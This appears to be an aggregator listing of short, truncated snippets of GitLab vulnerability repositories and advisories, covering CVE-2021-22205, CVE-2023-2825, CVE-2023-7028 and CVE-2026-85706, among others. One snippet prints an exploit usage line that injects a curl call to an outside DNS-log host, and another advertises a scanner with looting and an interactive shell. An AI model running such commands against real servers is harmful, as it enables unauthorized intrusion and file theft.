CVE-2021-22205

CVE-2021-22205 Preauth RCE via exiftool on Gitlab CE/EE Summary of the CVE GitLab uses ExifTool to scan every tiff/jpeg/jpg file to remove any tags that are not whitelisted. But because ExifTool doesn't use file extensions to determine filetype but it rather uses the content of the file, which...

CVE-2021-22205

CVE-2021-22205 Description - POC for CVE-2021-22205: Gitlab CE/EE RCE 未授权远程代码执行漏洞 POC && EXP - create by antx at 2021-10-29. Detail - An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file...

CVE-2021-22214

CVE-2021-22214 Description - POC for CVE-2021-22214: Gitlab CI Lint API未授权 SSRF漏洞 - create by antx at 2021-11-01. Detail - When requests to the internal network for webhooks are enabled, a server-side request forgery vulnerability in GitLab CE/EE affecting all versions starting from 10.5 was...

gitlab-exploit

gitlab-exploit GitLab CVE-2023-7028 GitLab CVE-2023-7028 La vulnerabilidad fue causada por un error en la forma en que GitLab manejaba la verificación de correo electrónico durante el restablecimiento de contraseña. Un atacante podía proporcionar dos direcciones de correo electrónico en una...

CVE-2021-22205

CVE-2021-22205 GitLab fails to properly verify image files passed to the file parser, leading to command execution. An attacker can craft malicious requests to exploit this vulnerability and execute arbitrary commands on the target system, ultimately taking control of the GitLab server. Since mos...

CVE-2023-2825

CVE-2023-2825 Unauthenticated Directory traversal leads to file read. Summary of the CVE An issue has been discovered in GitLab CE/EE affecting only version 16.0.0. An unauthenticated malicious user can use a path traversal vulnerability to read arbitrary files on the server when an attachment...

CVE-2021-22205

Vuln Impact An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution. Vuln Product Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE...

gitlab-cve-2026-85706-ioc

CVE-2026-85706 — GitLab Path Traversal IOC Scanner & Detection Toolkit GitLab CE/EE Repository Commits API Unauthenticated Path Traversal CVSS 3.1: 10.0, Critical Status: Actively exploited in the wild · Listed in CISA KEV 2026-09-11, due 2026-09-14 · Patched by GitLab 2026-09-10 A free,...

CVE-2023-7028

CVE-2023-7028 Se ha descubierto un problema en GitLab CE/EE que afecta a todas las versiones desde 16.1 hasta antes de 16.1.6, 16.2 hasta antes de 16.2.9, 16.3 hasta antes de 16.3.7, 16.4 hasta antes de 16.4.5, 16.5 hasta antes de 16.5.6, 16.6 hasta antes de 16.6.4 y 16.7 hasta antes de 16.7.2, e...

gitlab-ssrf

GitLab SSRF This repository is a reproduction of CVE-2018-19571, and how when combined with a CRLF injection exploit, can lead to remote code execution RCE. CVE Details CVE-2018-19571 GitLab CE/EE, versions 8.18 up to 11.x before 11.3.11, 11.4 before 11.4.8, and 11.5 before 11.5.1, are vulnerable...

GitLabSniper

GitLabSniper CVE-2026-85706 — GitLab CE/EE unauthenticated arbitrary file read detect · public project enum · loot · interactive shell · subfinder/httpx pipeline Author: Yunus Emre Öztaş mitsec X: x.com/ynsmroztas GitHub: github.com/ynsmroztas Site: ynsmroztas.github.io Mail: [email protected]...

CVE-2023-2825

CVE-2023-2825 On May 23, 2023 GitLab released version 16.0.1 which fixed a critical vulnerability, CVE-2023-2825, affecting the Community Edition CE and Enterprise Edition EE version 16.0.0. The vulnerability allows unauthenticated users to read arbitrary files through a path traversal bug...

CVE-2022-1162

CVE-2022-1162 A hardcoded password was set for accounts registered using an OmniAuth provider e.g. OAuth, LDAP, SAML in GitLab CE/EE versions 14.7 prior to 14.7.7, 14.8 prior to 14.8.5, and 14.9 prior to 14.9.2 allowing attackers to potentially take over accounts. Exploit: New Gitlab Accounts...

CVE-2021-22205

CVE-2021-22205 Versiones afectadas: Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 Uso root@kitploit: python3 CVE-2021-22205.py target "curl \whoami.dnslog" Obtener csrf-token: Obtenga el csrf-token a través de /users/signin y luego use el PoC CVE-2021-22205 anterior para construir...

CVE-2026-85706

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.7 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that, under certain conditions, an unauthenticated user could have read arbitrary files from the GitLab server due to improper path confinement and missing...

CVE-2026-85706

CVE-2026-85706 is a CVSS 10.0 path traversal and missing-authentication flaw in GitLab CE/EE affecting versions from 18.7 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 . The root cause is a percent-decoding differential: Workhorse matches its route regex against EscapedPath() without ...

CVE-2026-85706 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in GitLab

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.7 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that, under certain conditions, an unauthenticated user could have read arbitrary files from the GitLab server due to improper path confinement and missing...

EUVD-2026-76779

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.7 before 19.1.8, 19.2 before 19.2.6, and 19.3 before 19.3.2 that, under certain conditions, an unauthenticated user could have read arbitrary files from the GitLab server due to improper path confinement and missing...

cve-2026-85706

cve-2026-85706 GitLab CE/EE における未認証の任意ローカルファイル読み取り。18.7～19.1.7、19.2.0～19.2.5、19.3.0～19.3.1 に影響。19.1.8 / 19.2.6 / 19.3.2 で修正済み（2026-09-10）。CVSS 10.0、実環境で悪用が報告されている。原報告は s3ntago によるもので、このリポジトリは私の writeup と PoC にすぎない。 免責事項 この PoC...

CVE-2026-85706

CVE-2026-85706：GitLab CE/EE 未授权路径遍历 CVE ：CVE-2026-85706，CVSS 3.1 10.0 （AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N） 组件 ：GitLab CE/EE Repository Commits API（Workhorse body-upload 变体） 影响 ：18.7 ≤ version ，经 badrequest! 原样回显进 400 响应。回显先到先得：& / = 是组件边界，解析在第一个非法 % 所在组件处中断并回显该组件，无分隔符时整个文件作为一个组件整体回显（合法的 %xx...